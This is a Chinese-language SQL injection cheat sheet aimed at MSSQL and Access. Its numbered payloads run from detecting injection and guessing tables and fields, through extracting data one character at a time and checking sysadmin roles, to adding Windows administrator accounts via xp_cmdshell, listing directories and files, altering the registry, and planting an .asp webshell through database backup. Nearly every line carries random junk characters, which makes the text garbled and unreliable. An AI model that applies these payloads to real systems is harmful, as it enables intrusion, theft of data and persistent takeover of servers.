1.判断是否有注入;and 1=1 ;and 1=2 G ]By_
2.初步判断是否是mssql ;and user>0 '|?r&-5 h
$rYu4^
3.注入参数是字符'and [查询条件] and ''=' m8^2k2
V\hct$ 7Vm
4.搜索时没过滤参数的'and [查询条件] and '%25'=' j5GZ;d?
M%^laf
5.判断数据库系统 6lAo`S\)eX
be#"517
;and (select count(*) from sysobjects)>0 mssql ^!Jm/-
(UT*T
;and (select count(*) from msysobjects)>0 access .T-p]9*p
(
+hI
8N_rJ)f
!`=?<Fl
6.猜数据库 ;and (select Count(*) from [数据库名])>0 6e|5qKr
$*-L8An?
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 :P"Gym
PW4Wn`u
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 2U{RA's
.Q)"F /
9.(1)猜字段的ascii值(access) K+OU~SED%F
mXaUWgO
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
@+#p:sE
.WE0T|qDX
(2)猜字段的ascii值(mssql) ;_&L^)~P$
bQjHQ"G
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3*JybMo"
>G~;2K[
10.测试权限结构(mssql) MA6%g} o
0^Cx`xdX:
ScKfr
@cGql=t
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- bM3e7olWS
AR3=G>hO,
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- liP{Mu/LO
e,UgTxZ
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- q~_jF$9SX
i=QhXCM
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,jcp"-5#j
ttVSgKAsm
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- BIyG[y?qO
o2jB~}VMl
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- hDMp^^$
=oDrN7`,B
;and 1=(select IS_MEMBER('db_owner'));--
K_3ZJ
-h`0v
.&.CbE8K[
>E=a~ O
11.添加mssql和系统的帐户 qJj5J;k
9V\`{(R
;exec master.dbo.sp_addlogin username;-- 0O4mA&&!oK
;exec master.dbo.sp_password null,username,password;-- {HnOUc\4
o]U==
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ]NsaFDi\
z\
pT+9&
;exec master.dbo.xp_cmdshell 'net user username password Y%@'a~
/^G+vhlf\
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $7YLU{0
a$8?0`(
;exec master.dbo.xp_cmdshell 'net user username password /add';-- b] V=wZ
o
i( HhL&
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ^O
m]B;
yQ50f~9
IPR396J+-
Y))sk-
12.(1)遍历目录 vq:j?7
cn:VEF:l
;create table dirs(paths varchar(100), id int) 1j,Y
p\\q[6
;insert dirs exec master.dbo.xp_dirtree 'c:\' I5?LD=tt
9~I WGj?
;and (select top 1 paths from dirs)>0 ]:fHvx_?`7
JN)t'm[kyE
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W:J00rsv=`
MJ08@xGa
JH#+E04#
k<H&4Z)d9
(2)遍历目录 @("AkYPj
^)~M,rW8c
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- %C<eR_
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 @oNrR$7
yr'`~[oSCy
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 kq-RM#Dj:
E@KK\m
\e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 a mgex$
N0C5FSH
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 rC16?RovQ@
-X
\vB
7F\g3^z9`
i,T{SV
13.mssql中的存储过程 [~wcHE
p4 PFoFo2
xp_regenumvalues 注册表根键, 子键 dD%m=x
VuW19-G
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ~Y[1Me
QCw<* Id+
xp_regread 根键,子键,键值名 WAbhBA
U"]i.J1
;exec xp_regread [-ecKPx
]\lw^.%
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 o++Hdvai
C7PiuL?
xp_regwrite 根键,子键, 值名, 值类型, 值 C2v7(
XjbK!.
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6"(&lK\^
J:a^''
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4r*6fJ*bJ
1rC'sfz
xp_regdeletevalue 根键,子键,值名 76/%Py|
] W_T(C*
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 OHw6#N$\
F/Xhm91^
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 &Is%I<'o
Fz% n!d
*#_jTwQe
(
9l|^w["
14.mssql的backup创建webshell K]l)z* I
plq\D.C
use model T5h[{J^
=Sq7U^(>
create table cmd(str image); y8@!2O4
`UR.Rn/x
insert into cmd(str) values (''); 3^Y-P8.zdB
$B2@mC([S
backup database model to disk='c:\l.asp'; RZZB?vx
P}jr 8Z
eu=2a>
K2QD&!4/T2
15.mssql内置函数 By9/tB
:`K;0`C+
;and (select @@version)>0 获得Windows的版本号 DH%X+r
J98K:SAR
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ?0x;L/d])
21qhlkdc
;and (select user_name())>0 爆当前系统的连接用户 92i#It}-/
{`LV{!
;and (select db_name())>0 得到当前连接的数据库 f8lww)^,v
e+mD$(h
79v&6Io
K5$ y
16.简洁的webshell !FO)||'[
VWi-)
use model |8B[yr.b
3]i1M%'i
create table cmd(str image); C6`8dn
RUEUn
insert into cmd(str) values (''); "Xqj%\
ulQE{c[
backup database model to disk='g:\wwwtest\l.asp';